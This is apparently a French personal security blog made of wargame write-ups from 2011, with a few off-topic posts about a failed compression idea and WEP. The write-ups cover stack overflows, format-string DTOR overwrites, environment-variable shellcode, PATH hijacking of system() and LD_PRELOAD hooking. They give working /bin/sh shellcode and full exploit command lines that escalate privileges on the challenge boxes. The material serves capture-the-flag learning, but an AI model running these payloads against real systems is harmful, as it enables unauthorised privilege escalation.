Pour le moment je vais rester très théorique étant donné l'avancée de mes recherches, puis plus dans le technique avec enfin un exemple comme il se doit.

Tout d'abords qu'est-ce qu'un Heap ?

C'est en fait un espace de stockage où un processus store des données dynamiquement.
Chaque processus alloue ou retire de la mémoire selon son besoin et pendant son exécution.
C'est tout comme une allocation d'un tableau dynamique en C++ par exemple.
Chaque Heap constitue un bloc dans une pile qui va de 0x00000000 à 0xFFFFFFFF et chaque autre allocations dans le programme sera allouée après le dernier bloc. Si un problème (comme un overflow) sur le premier survient, alors il est grandement possible qu'il déborde sur les autres.
Quand un Heap est créé deux pointeurs sont aussi automatiquement créés et pointent vers le premier espace mémoire libre dispo. Et à l'adresse vers laquelle ils pointent se trouvent 2 pointeurs vers leurs position.
Arf, j'ai perdu le fil ! Un petit dessin s'impose :

[0x00000000------------------------STACK-------------------------------------0xFFFFFFFF]
HeapAllocate() ---> Pointeurs A et B contenus dans FreeLists[0] --> 0x00000005 <---- Pointeurs C et D qui pointent vers A et B dans FreeLists[0]
[0x00000000[HEAP -----STACK-----]0x00000005-----------STACK---------0xFFFFFFFF]

Quand une allocation se produit les pointeurs A et B se mettent à pointer vers le prochain bloc qui sera alloué et les deux autres pointeurs C et D vont pointer vers l'adresse de fin du bloc alloué en dernier.
Donc, à chaque allocation ou libération de mémoire ces 4 pointeurs seront changés dynamiquement dans une liste doublement chaînée.

En quoi réside le principe du Heap-based buffer overflow ?

Prenons le cas du malloc.
Si, lors de l'écriture d'un code il vous prend de vouloir faire un tableau dynamique ou autre, le malloc allouera automatiquement un bloc qu'on appelle un Chunk.
Chunk = Gros morceau en Français (oui je sais c'est pas très parlant)
Ce "gros morceau" est en fait composé de plusieurs parties dont, une petite pile de données où est stocké le buffer.

En fait, il existe deux types de chunk :
-Le chunk virtuellement alloué
-Le chunk libre.

Ce sont des structures au final d'après ce que j'ai pu en lire ICI.
Si un chunk est alloué il contient :
[l'adresse du chunk précédemment alloué]+[La taille de ses datas ainsi que 3 bits déjà alloués]

________
|               |
|adresse |
|_______ |
|                |
|                |
|Taille     |
|                |
|+ 0 0 0   | <== Ces trois Bits [A,M,P] prennent 1 ou 0 selon certaines conditions. Par exemple :
|_______|                    si le tas contient l'adresse d'un bloc précédemment alloué alors P=1

Si il y a débordement sur cette partie du Chunk alors il est possible de contrôler les pointeurs contenus dans cette fameuse double liste chaînée :) .
Du coup, possibilité de les faire pointer où on veut, et donc de pouvoir modifier le bon déroulement du programme et finalement se faire monter en privilèges entre autre.

Quelles sont les conditions qui doivent apparaitre pour pouvoir déborder sur un Heap ?

Maintenant que mes recherches sont faites sur les éléments du décors qui m'intéressaient et après nombre de remarque pertinente sur le fait qu'un article extrêmement complet sur Phrack existe pour donner l'exemple d'une exploitation, je ne vais pas m'embêter à faire une traduction bête et méchante :D

http://www.phrack.org/issues.html?issue=66&id=6 Si vous avez du courage, et que, comme moi vous vous
intéressez un temps soit peu à la sécurité ça devrait passer ! ;)
Je m'arrête donc ici pour mes recherches sur les Heap-based buffer overflow, surtout qu'au départ je voulais juste comprendre les grandes lignes ^^ et voila j'ai encore merdé !

Message aux fournisseurs d'accès

2011-01-28T07:42:00.000-08:00

SVP arrêtez d'utiliser le chiffrement WEP dans la configuration par défaut des Box...

Zenk Security

2011-01-24T01:43:00.000-08:00

Un petit billet concernant une communauté que j'affectionne particulièrement même si ces derniers temps je n'ai pas eu l'occasion d'y passer souvent !
Le principe est simple :
Le partage, la collaboration, l'entraide sous fond de sécurité informatique Pleins de tuto à dispositions, bonne ambiance, membres sympathiques... Ouille je fais de la lèche :p
Pour en faire parti il faut valider un certain nombre de points aux challenges proposés ==> ici
Pour le moment il en faut 8 c'est pas la mer à boire, c'est juste pour prouver que vous n'arrivez pas les mains vides et que vous avez un minimum de culture générale. Passé cette étape une présentation vous est demandé sur le forum pour être accepté par les membres.
Sinon vous pouvez aussi passer par leur IRC pour leur faire coucou !

Luc's Compressor EPIC FAIL

2011-01-21T10:10:00.000-08:00

Donc, maintenant j'ai bien la preuve de l'inefficacité de la méthode "Run-length Encoding" pour compresser des données autre que images noires et blanches...
En effet : Prenons un film de 500 mégas. Tout d'abords il me faut décomposer chaque bytes contenus dans le fichier en base 2 pour pouvoir faire un traitement sur chaque 1 et 0 trouvés .
Donc je vous laisse imaginer le temps d'une telle opération sur les gros fichiers comme ça...
Forcément; en faisant cette méthode je "déplie" les données. Il ne me reste plus qu'à les stocker en mémoire vive (là je ne pense pas que ça soit faisable d'intégrer 1 giga en ram ^^ )
Donc je stock ce fichier temporaire vachement plus gros que l'original quelque part. :/

Ça, c'est le premier échec de la méthode run-length Encoding. Ensuite vient le temps où il faut compresser le fichier temporaire plein de 0 et de 1.
Petit problème :
-Le codage : 11001100 = 2D2F2D2F peut devenir génant....
-Si j'ai : 10101010 = 1D1F1D1F1D1F Je ne gagne pas de place...Au contraire j'en perd un peu plus.
Répétez ça 5 milliards de fois et vous pourrissez votre espace de stockage...
Même en utilisant un séparateur plus petit pour les 0 il est impossible de déterminer si oui ou non le fichier aura plus de 1 que de 0... Sans compter la création d'une archive parasite qui est plus grosse que le fichier original.

Au moins...Maintenant que j'ai la preuve par A+B que Run-Length Encoding ne fonctionne que sur des fichiers images simple. Ben... Je suis plus convaincu :) .

Luc's Compressor Bytes Optimise

2011-01-21T02:04:00.000-08:00

Un petit billet de mon boulot.
Il va me falloir optimiser l'algorithme. Décomposer chaques bytes en base 2, trouver des flags appropriés
C'est pas fini mais pour un trip je dois reconnaitre que ça va chercher loin :).

Luc's Compressor Advanced Encoding

2011-01-20T11:59:00.000-08:00

Ca avance bien ! Non seulement je retrouve un fichier de la taille originale (mais pas encore en service)
après la compression et décompression mais je viens de tester avec un fichier de plus de 500 mégas
pour un résultat approchant les 18 mégas ! Ça c'est du compresseur !

Luc's Compressor

2011-01-17T10:53:00.000-08:00

En revenant du taff, y'a eu des bouchons. Oui je vous jure !
Et donc, j'ai profité de ce moment de solitude pour réfléchir sur un moyen à moi de compresser des
gros fichiers. Ne me demandez pas comment j'ai fais pour penser à ça, j'en sais trop rien moi même...

Bref ! Quoi qu'il en soit, en arrivant je me met au travail avec mes petites idées qui ont germées.
Voila mon idée complétement démente et qui ne sert probablement pas à grand chose !

Un fichier est une suite de 0 et de 1. Jusque là tout va bien.
L'idée de mon compresseur est extrêmement simple, pour chaque suite de 1 trouvée on incrémente une variable.
donc cette suite :
111111 = 6 tout simplement.
Ensuite, forcément on tombe sur des 0 :
000000=D6F
Ou encore :
0000=D4F
Voila !

Je me met au travail, et je code vite fais un petit binaire qui me fait ça pour moi.
Je me suis servis comme exemple d'un mp3 :

998Ko , ma méthode sort un fichier .luc (eh oui, faut bien être narcissique de temps en temps)
Ce fichier fait : 80.5Ko
Je suis assez content, jusqu'à ce que l'envie me prenne de faire la méthode inverse...
Finalement, petit échec de la journée. Le fichier reconstitué ne fait plus que 147Ko...
Dommage :/ je creuserais un peu plus demain.

----------------------------------------------------------
EDIT : Merci Mikaël pour l'aide,

"J'avais déjà réfléchi à une méthode comme celle ci (mais plus du genre "Conway") y'a très peu de temps (comme quoi ^^). Le souci, c'est que c'est rentable qu'à partir d'un certain seuil d'invariance. Faudrait' s'amuser à le déterminer. Ce p...rincipe se base sur une constatation simple : si tu utilises un octet (soit 8 bits) pour stocker le nombre de 1 consécutifs à un offset (par exemple), il faudra au minimum trouver 8 1 consécutifs à cet offset pour que la compression soit rentable.

Après, on pourrait optimiser certaines choses. Par exemple, on coderait le nombre de 0 ou de 1 sur un octet, seulement ça supposerait qu'on ne trouve jamais plus de 255 1 ou 0 d'affilée, et donc c'est foireux. Enfin, il faudrait réfléchir à une méthode qui gérerait toutes ces contraintes tout en conservant un seuil de compression supérieur ou égal à zéro en toutes circonstances. Se retrouver avec un fichier compressé plus gros que l'original, ce serait bien pourri ^^.

Sinon, j'ai chaud la flemme de débugguer du code C# (C'est vraiment top mais je suis crevé). Et pour la petite histoire, je pense que de nombreuses personnes ont dû penser à ça avant nous. Le truc intéressant, ce serait au final de savoir pourquoi ce type de compression ne peut pas être rentable ^^."

Il me précise aussi que ce type de compression s'appelle le "Run-length encoding"

M'enfin ça ne va pas m'empêcher de continuer ;)

Nouveau appart, nouvelle vie !

2011-01-17T06:20:00.000-08:00

Et oui, titre accrocheur pour une news qui l'est un peu moins :)
Je déménage d'ici peu, ce qui veut dire peut être pas de nouvelle connexion avant quelques semaines !
(Sauf si je trouve une clé WEP par-ci par là...) Mais bon ce n'est pas trop dans ma mentalité de faire ça :)
Je sais.. C'est un moment dur pour vous ! Allé ! Courage !

Lovely Challenge

2011-01-13T09:36:00.000-08:00

J'ai débuté une nouvelle box de challenge récemment qui est intéressante dans le sens où les épreuves sont assez chiantes :p
Comme exemple cette source :

#include <stdio.h>
int main(int argc, char *argv[])
{
        if(argc != 2){
                exit(1);
                }
        int i;
        int o;
        for(i=0; argv[1][i]; i++)
                {
                if(argv[1][i] == '\x68' &&
                   argv[1][i+1] == '\x2f' &&
                   argv[1][i+2] == '\x63' &&
                   argv[1][i+3] == '\x61' &&
                   argv[1][i+4] == '\x74' &&
                   argv[1][i+5] == '\x68' &&
                   argv[1][i+6] == '\x2f' &&
                   argv[1][i+7] == '\x62' &&
                   argv[1][i+8] == '\x69' &&
                   argv[1][i+9] == '\x6e')
                        o = 1;
                }
        if(o != 1){
                fprintf(stderr,"Illegal Instruction.\n");
                return 1;
                }
        else{
                fprintf(stdout,"OK\n");
                setresuid(1004,1004,1004);
                (*(void(*)()) argv[1])();
                return 0;
        }
}

$ whoami
level3

évidemment, maintenant que je connais la solution ça me parait simple...
Cette boucle for, vérifie que dans ce qu'on va passer en paramètre au binaire il y a une chaine hexadécimal :
\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e
Ce qui donne une fois traduite :
"h/cath/bin"

Bien sûr étant très patient et très analyste sur les bords (Joke) je me suis arrêté à cet indice qui n'en est pas un au final...
En regardant un peu plus loin on s'aperçoit que l'arg qu'on lui a rentré, si il contient la fameuse chaîne se fait exécuter, évidemment quand j'ai vu ce code barbare je me suis dit que c'était foutu pour moi, m'enfin google était mon ami :)
A partir de là, l'épreuve est terminée :

$ ./level3 `python -c "print '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e'"`
OK
sh-3.2$ whoami
level4

J'en viens de plus en plus à la conclusion que faire des challenges reviens à s'autoflagéler cérébralement !

SOAP, PowerBuilder et .Net

2011-01-11T10:58:00.000-08:00

Comment voulez vous qu'ils aient la moindre crédibilité si ils se mettent à faire du VB.NET chez
sybase ? Hein ?

On voit ça directement : utilisation de librairies dynamiques situées au niveau du GAC_32 de mon PC...
En bref, du framework .net :/

Metasploit qui nous veut du mal.

2011-01-10T11:45:00.000-08:00

Aujourd'hui en farfouillant un peu sur le net, j'ai trouvé nombre de vidéos...
Oui, vous allez me dire, des vidéos...C'est normal :) . Mais ne m'étant jamais vraiment intéressé à
Métasploit, ni à son framework, ni à sa manière de l'utiliser je n'ai jamais eu d'avis négatif sur l'outil en lui même.
Mais maintenant que j'ai suivi une formation intensive de 5 minutes top chronos, je sais que l'outil peut servir à scanner, exploiter, backdoorer, hooker, pourrir automatiquement et sans grandes connaissances à peut près n'importe quelle plateforme ou application faillible. Je me disais qu'un minimum de technique était nécessaire mais...Même pas...
Un gamin de 12 ans peut l'utiliser :/ Je reste partagé quant au pourcentage [bonne utilisation/mauvaise utilisation] de ce soft de pentest qui, il faut le dire est extrêmement puissant :( & :)

Stack Rewriting via Format String

2011-01-10T03:28:00.000-08:00

OMG ! Encore !
Ouai...Ben là c'est juste encore pour préciser que j'adore exploiter ce genres de failles sur les box :)

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv){
        int i = 1;
        char buffer[64];

        snprintf(buffer, sizeof buffer, argv[1]);
        buffer[sizeof (buffer) - 1] = 0;
        printf("Change i's value from 1 -> 500. ");

        if(i==500){
                printf("GOOD\n");
                seteuid(1007);
                system("/bin/sh");
        }

        printf("No way...let me give you a hint!\n");
        printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
        printf ("i = %d (%p)\n", i, &i);
        return 0;
}

level6@0xtcebBox:whoami
level6

level6@0xtcebBox:/wargame$ ./level6 hello
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [hello] (5)
i = 1 (0xbffffa5c)

level6@0xtcebBox:/wargame$ ./level6 %08x
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [0177ff8e] (8)
i = 1 (0xbffffa5c)

level6@0xtcebBox:/wargame$ ./level6 `python -c "print 'aaaa'+'.%08x'*15"`
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [aaaa.0177ff8e.01000000.00000000.28000000.656e6f6e.61616161.3731] (63)
i = 1 (0xbffffa0c)

level6@0xtcebBox:/wargame$ ./level6 `python -c "print 'aaaa'+'%.496u'+'%6\x24x'"`
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [aaaa00000000000000000000000000000000000000000000000000000000000] (63)
i = 1 (0xbffffa4c)

level6@0xtcebBox:/wargame$ ./level6 `python -c "print '\x4c\xfa\xff\xbf'+'%.496u'+'%6\x24hn'"`
Change i's value from 1 -> 500. GOOD
sh-3.1$ whoami
level7

RET ON EGG

2011-01-09T07:14:00.000-08:00

Un petit article représentant une autre manière d'exploiter un Buffer Overflow :

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
        if(argc < 2)
                exit(1);

        char buff[10];
        strcpy(buff, argv[1]);

return 0;
}

level1@0xtcebBox:~$ whoami
level1

Comme on peut le voir : le débordement du buffer pour écraser SEIP est un peu juste. La taille d'un shellcode fait en moyenne 21,22 voir plus d'octets, ce qui fait qu'on ne peut pas inclure cette fois-ci le SC dans le buffer sans tout écraser et rendre l'exploit impossible. Une autre solution s'offre en effet à nous avec une variable d'environnement.
Il suffit que notre shellcode se trouve dans cette variable et qu'on saute dessus via son adresse dont on se sera servi pour écraser SEIP, pour pouvoir exécuter le méchant EGG.
Démonstration :

level1@0xtcebBox:~$ env -i EGG=`python -c "print '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80'"` ./level1 `python -c "print 'a'*14+'\xdb\xff\xff\xbf'"`
sh-3.2$ whoami
level2

Je préfère largement cette méthode en termes de précision et d'utilité. On s'embête pas à trouver une adresse de retour dans le buffer, on se sert directement de l'adresse de la variable, on est pas limité par la taille du buffer donc +1 pour cette technique de mon point de vue.

LD_PRELOAD et HOOK PRINTF

2011-01-08T06:19:00.000-08:00

Ayant terminé tant bien que mal le challenge Behemoth sur intruded,
je me suis lancé sur Utumno. La première épreuve était vraiment pas mal puisqu'elle n'apparait quasiment jamais dans les box qu'on nous met à disposition :) .
Sans documentations et exemples je ne serais pas allé bien loin.

Cette épreuve avait pour but j'imagine, de démontrer le lot de failles systèmes que peuvent apporter les shared libraries.
Ça m'a aussi un peu introduit au concept de Dynamic linker

J'ai eu besoin de ça :
Doc Dynamic_linker
de ça :
Doc Shared_libraries
et finalement de ça :
Fun with LD_PRELOAD

Voila à quoi on avait droit quand on voulait se renseigner sur le binaire de l'épreuve :

level1@utumno:/wargame$ file ./level1
./level1: writable, executable, regular file, no read permission

C'est pas cool...

Et quand on le lançait :

level1@utumno:/wargame$ ./level1
Read me! :P

C'est vraiment pas cool...

Donc après avoir lu tout ça on sait que LD_PRELOAD est une variable d'environnement qui contient la liste des librairies que le Dynamic_Linker a besoin de charger avant tout le monde.
Le but du challenge ici était de Hooker la fonction printf via LD_PRELOAD pour Dumper les strings contenues dans le binaire.

Imaginons qu'on ai un binaire de ce genre là :

#include <stdio.h>
int main(void)
{
    printf("hello world\n");

    return 0;
}

On pourrait balancer à LD_PRELOAD une librairie différente pour printf afin d'afficher autre chose que "hello world".

#include <stdio.h>
#include <stdlib.h

int printf(const char *format, ...)
{
 fprintf(stdout,"méchante fonction");
}

Une fois compilé en .so :

level1@utumno:/tmp$ gcc -shared print.c -o print.so
level1@utumno:/tmp$ LD_PRELOAD="/tmp/print.so" ./helloWorld
méchante fonction

Ben pour l'épreuve c'était sensiblement la même chose sauf qu'il fallait afficher les chaînes contenues dans le binaire. Ce qui prend un peu plus de temps :) .

Images Malveillantes

2011-01-08T05:08:00.000-08:00

Oui, c'est techniquement possible,
j'en entend régulièrement dire qu'une simple image ou une vidéo est sans danger pour le système dans laquelle celle-ci est regardée.
A priori oui. Après tout ce n'est qu'une simple image.
Le danger en lui même ne se trouve pas "vraiment" dans l'image mais dans le soft qui sert à l'interpréter. Et puis ça passe à peu près tout les anti-virus vu qu'il ne s'agit que d'images ou de vidéos.
Au lancement d'un tel média, en général si il est corrompu on obtiens un freeze complet de la visionneuse qui va aller le lire. Et c'est normal. Mais dans certains cas, les structures composants l'image vont être interprétées d'une autre façon suivant le programme utilisé pour les lires. Ce qui peut mener inévitablement à l'exploit de faille type buffer overflows ou heap-based buffer overflows . Donc l'exécution d'un code malveillant type trojan-horse, key-logger, worms & co ...
Donc soyez vigilants même sur les médias que vous downloadez.
J'en ai marre d'entendre que chopper un virus via une image ou autre est une légende urbaine :)

Stack-Based Buffer Overflow

2011-01-07T15:53:00.001-08:00

Question faille connue on ne peut pas faire mieux je pense...
M'enfin bon comme j'ai pas grand-chose à faire en ce moment autant écrire un article dessus.
Et comme toujours article suivis d'un exemple sur un challenge présent sur une box de challenge.

Voici l'exemple (box : narnia.intruded.net) :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char * argv[]){
        char buf[128];

        if(argc == 1){
                printf("Usage: %s argument\n", argv[0]);
                exit(1);
        }
        seteuid(1004);
        strcpy(buf,argv[1]);
        printf("%s", buf);

        return 0;
}

sh-3.1$ whoami
level3

Avant de comprendre le fonctionnement de la faille, analysons la source :
On nous demande un argument qui est automatiquement copié dans un tableau de char de 128 octets.
Oui seulement voila, la fonction utilisé pour copier l'arg[1] dans le buffer ne vérifie pas du tout la grandeur
de l'argument...Voila un buffer overflow, c'est un simple dépassement de mémoire tampon. On s'est tous tappé un jour un SEGFAULT non ?... Non ? Ah :/ .
L'exploitation est assez simple quand on en a compris le fonctionnement.

/------------------\  lower

|                  |  memory

|       Text       |  addresses

|                  |

|------------------|

|   (Initialized)  |

|        Data      |

|  (Uninitialized) |

|------------------|

|                  |

|       Stack      |  higher

|                  |  memory

\------------------/  addresses

Ce schéma ci-dessus (pompé sur le net) représente en gros la position de la pile.
Ce schéma ci-dessous (pompé sur le net) représente la position de notre buffer dans la pile.

bottom of                                                            top of
memory                                                               memory
                  buffer            sfp   ret   *str
<------          [                ][    ][    ][    ]

top of                                                            bottom of
stack                                                                 stack

Que ce passe-t-il donc quand le buffer déborde ? Ben c'est facile, il écrase à peut près tout sur son passage.
C'est à dire ? Si on contrôle ce dépassement on peut faire à peut près ce qu'on veut du programme faillible.
Bon...Je lance gdb pour vous montrer un peu à quoi ressemble un buffer qui déborde :

level3@narnia:/wargame$ gdb -q ./level3
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) disas main
Dump of assembler code for function main:
0x08048459 <main+85>:   add    $0x4,%eax
0x0804845c <main+88>:   mov    (%eax),%eax
0x0804845e <main+90>:   mov    %eax,0x4(%esp)
0x08048462 <main+94>:   lea    0xffffff78(%ebp),%eax
0x08048468 <main+100>: mov    %eax,(%esp)
0x0804846b <main+103>: call   0x804833c <strcpy@plt> ====> BP sur strcpy
0x08048470 <main+108>: lea    0xffffff78(%ebp),%eax      ====> BP juste après
0x08048476 <main+114>: mov    %eax,0x4(%esp)
0x0804847a <main+118>: movl   $0x804859c,(%esp)
0x08048481 <main+125>: call   0x804830c <printf@plt>
0x08048486 <main+130>: mov    $0x0,%eax
0x0804848b <main+135>: leave
0x0804848c <main+136>: ret
0x0804848d <main+137>: nop
0x0804848e <main+138>: nop
0x0804848f <main+139>: nop
End of assembler dump.
(gdb) b*main+103
Breakpoint 1 at 0x804846b
(gdb) b*main+108
Breakpoint 2 at 0x8048470
(gdb) r `python -c "print 'a'*200"` ====> Lancement du binaire avec 200 "a" en paramètre
Starting program: /wargame/level3 `python -c "print 'a'*200"`

Breakpoint 1, 0x0804846b in main ()
(gdb) x/10x $esp
0xbffff8e0:     0xbffff900      0xbffffb1d      0x00000001      0x00003638
0xbffff8f0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff900:     0x00000000   0x00000000

On peut voir que pour le moment le buffer est vide.
(gdb) c
Continuing.

Breakpoint 2, 0x08048470 in main ()
(gdb) x/30x $esp
0xbffff8e0:     0xbffff900      0xbffffb1d      0x00000001      0x00003638
0xbffff8f0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff900:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff910:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff920:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff930:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff940:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff950:     0x61616161      0x61616161
(gdb) c
Continuing.

Voila, le buffer dépasse, et on se choppe un beau SIGFAULT

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()

Maintenant, le but de l'exploitation va être de placer un shellcode dans le buffer
et de sauter dessus.
Durant le RET le programme va mettre le contenu du buffer au dessus de la pile dans
EIP, donc il faut écraser EIP et le saved EIP, et remplacer ces 4 octets par une adresse de retour vers notre shellcode qui sera exécuté au moment du RET.
En effet, Eip pointe vers la prochaine instruction à exécuter.
Cependant il nous faut des infos :
-la taille exacte du buffer
-l'adresse de retour
-la taille du shellcode à placer dans le buffer

On sort gdb et on fait le calcul : EBP-ESP = taille du tableau.

Breakpoint 1, 0x0804846b in main ()
(gdb) x/1x $esp
0xbffff8e0: 0xbffff900
(gdb) print $ebp
$1 = (void *) 0xbffff988
(gdb) print 0xbffff988-0xbffff900
$2 = 136

donc c'est 136 + 2 (EIP) + 2 (SEIP) soit 140

Toujours avec gdb on essaie de trouver une nouvelle adresse de retour :

(gdb) r `python -c "print 'a'*140"`
Starting program: /wargame/level3 `python -c "print 'a'*140"`

Breakpoint 1, 0x08048470 in main ()
(gdb) x/64x $esp
0xbffff920: 0xbffff940 0xbffffb59 0x00000001 0x00003638
0xbffff930: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff940: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff950: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff960: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff970: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff980: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff990: 0x61616161 0x61616161 0x61616161 0x61616161

Ben on va essayer avec 0xbffff950 qui semble bien être au début du buffer mais qui laisse un peu de marge par rapport au tout début, on peut essayer avec d'autre adresses contenues dans le buffer.
lançons nous dans l'exploitation :)

[SHELLCODE de 22 octets]+[NOPS]*140-22+[ADR RET]

level3@narnia:/wargame$ ./level3 `python -c "print '\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80'+'\x90'*(140-22)+'\x50\xf9\xff\xbf'"`
sh-3.1$ whoami
level4

Après il y'a d'autres manières de poutrer ce genres de failles, on peut placer un shellcode dans une var d'env pour pouvoir sauter dessus au moment du ret, ce qui est même mieux au final que mon exemple puisqu'on est pas limité par la taille du shellcode.

Race Condition Using System()

2011-01-07T09:18:00.000-08:00

On continue sur les failles applicatives, avec cette fois-ci les race conditions
avec la fonction system() qui est : LE MAL

Si un jour vous êtes amené à développer sous Nux oubliez ce genres d'appel :

#include <stdlib.h>
#include <stdio.h>

int main(){
system("ls /wargame/binary/binary2/.passwd");
return 0;
}

C'est horrible. Car c'est très facile à exploiter.
Une race condition c'est par exemple accéder à un fichier sans avoir les droits nécessaires pour l'ouvrir...
Sauf si c'est un programme lancé avec les bon privilèges qui l'ouvre à notre place.
Cet exemple est tiré d'un challenge sur root-me.org . Et il faut reconnaitre que l'épreuve est présente à peu près partout en début de chall applicatif, que ce soit intruded.net, smashthestack.org, root-me.org et j'en passe.

System() ici, va se servir de $PATH pour accéder à la fonction "ls" donc logiquement /usr/local/bin...
Mais si je crée un fichier ls dans un autre répertoire et si je fait pointer $PATH vers ce répertoire ?
Ben System() va aller chercher le ls "corrompu"... Et ouai. System poutre le système si je puis dire.

Exemple :

binary1@wargame:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/games                             //$PATH pointe actuellement sur /usr/bin
binary1@wargame:~$ cd /tmp
binary1@wargame:/tmp$ cat > ls                                 //On change le ls en cat par exemple
cat /wargame/binary/binary2/.passwd
binary1@wargame:/tmp$ chmod 777 ./ls
binary1@wargame:/tmp$ cd
binary1@wargame:~$ export PATH="/tmp:$PATH" //On fait pointer $PATH vers /tmp
binary1@wargame:~$ echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/games                     //Le changement est à présent effectué
binary1@wargame:~$ ./level1
!oPe96a/.s8d5                                                            //aille

Bon vous pouvez aussi constater aussi qu'il n'y a rien de neuf sous le soleil.
C'est une faille extrêmement connue mais un rappel ne fait jamais de mal.

Redirection du flux d'éxécution d'un programme via Format String

2011-01-04T10:55:00.000-08:00

Décidément, je l'adore cette faille ^^ .
Vu que j'ai fait un article dessus concernant la "lecture" de la pile,
autant faire aussi le deuxième côté concernant l'exécution arbitraire d'un code malveillant, hein ?
Parce-que les failles et les challenges c'est le bien. Et linux ben...Ça dépend. :)

Je ne sais pas encore vraiment bien utiliser les formateurs présents dans printf, mais je peux présenter un exemple classique (encore) de la faille.

#include <string.h>
    #include <stdio.h>

    int main(int argc, char* argv[])
    {
      if (argc < 2)
      {
        printf("plop ! Ça va ?\n");
        printf(argv[1]);
        exit(1);
      }
    }

Comme toujours, printf mal utilisée. La variable peut donc servir de formateur pour afficher ou modifier la pile.

Le but, ici étant d'écrire un assez grand nombre d'octet dans la pile pour pouvoir aller vers notre shellcode l'exploitation se déroule à peut près comme un BoF.
Ou encore on peut se servir soit de la GOT +2 ou de l'adresse de DTOR +2 pour pouvoir sauter sur un shellcode placé dans l'environnement.

L'explication sera une mise en pratique sur un challenge existant sur la box behemoth d'intruded.net.
Je pense que ça sera plus clair :)
Voici nos droits :

$ whoami

level4

Voici le binaire :

$ /wargame/level4 
Identify yourself: moi
Welcome, moi

Voici la faille :

$ /wargame/level4 
Identify yourself: %08x
Welcome, 000000c8

Notre formateur est donc interprété par printf. Maintenant, il faut aussi connaître notre position dans la pile :

$ (python -c 'print "AAAABBBB" . ".%08x"x15') | /wargame/level4
Identify yourself: Welcome, 
AAAABBBB.000000c8.b7fe0300.b7eb634c.b7ebea1c.b7ec3b6e.00000000.00000000.41414141.42424242.3830252e.30252e78.
252e7838.2e783830.78383025.3830252e

On voit bien nos "A" et nos "B" à partir de la 8eme place (41 et 42)

$ gdb -q /wargame/level4
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) x/x &__DTOR_END__
0x8049598 <__DTOR_END__>: 0x00000000

Là, je récupère l'adresse de la section DTOR (0x8049598).
Les programmes compilés avec le compilateur GNU C ont une section spéciale pour les destructeurs qui s'appelle DTOR qui sont appelés juste avant l'exit dès que le nettoyage est terminé.
Seulement, à l'offset DTOR +4 Se trouve l'adresse des fonctions de destructions qui se terminent par une adresse NULL, il suffit alors de réécrire sur ce pointeur vide pour remplacer ce néant par l'adresse de notre shellcode. A l'exit du programme les fonctions de DTOR seront donc appelées; et avec elles, notre shellcode.

Je vais utiliser un shellcode que j'utilise régulièrement pour ce genre d'épreuve :
\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80

Il nous faut créer un EGG qui contiens notre shellcode :

$ env -i EGG=`python -c "print '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53
\x89\xe1\xcd\x80'"`

L'adresse de cette variable dans cet environnement est en 0xbfffffdb et c'est sur cette adresse qu'il faudra exécuter le code malveillant.
Seulement voila, voici le moment où il nous faut écraser l'adresse de DTOR :

0xbfff = 49151

0xffdb = 65499

65499 - 8(car on a déjà 8 bytes pour DTOR) = 65491

49151 (0xbfff) + 65536 (valeur max) = 0x1bfff

0x1bfff(total) - 0xffdb(déjà écrit) = 49188

Vu que %n écrit les caractères le précédent dans la pile et comme 0xbffffdb est un nombre trop grand pour
être généré en une seule fois, on sépare l'adresse en deux fois 2 octets.

maintenant qu'on a DTOR + [DTOR]+2 + 65491 bytes à écrire + emplacement dans le pile 1 + 49188 bytes à écrire + emplacement dans la pile 2 + la variable d'env on peut se lancer dans l'exploitation :

(python -c "print '\x98\x95\x04\x08\x9a\x95\x04\x08'+'%.65491u'+'%8\x24hn'+'%.49188u'+'%9\x24hn'";cat)

| env -i EGG=`python -c "print '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80'"` ./level4

0000000000000000000000000000000000000000000000000000000000000000000000

0000000000000000000000000000000000000000000000000000000000000000000000

0000000000000000000000000000000000000000000000000000000000000000000000

0000000000000000000000000000000000000000000000000000000000000000000000

0000000000000000000000000000000000000000000000000000000000000000000000

.....

0000000000000000000000000000000000000000000000000000000000003086877440

id
uid=1004(level4) gid=1004(level4) euid=1005(level5) groups=1004(level4)

whoami

level5

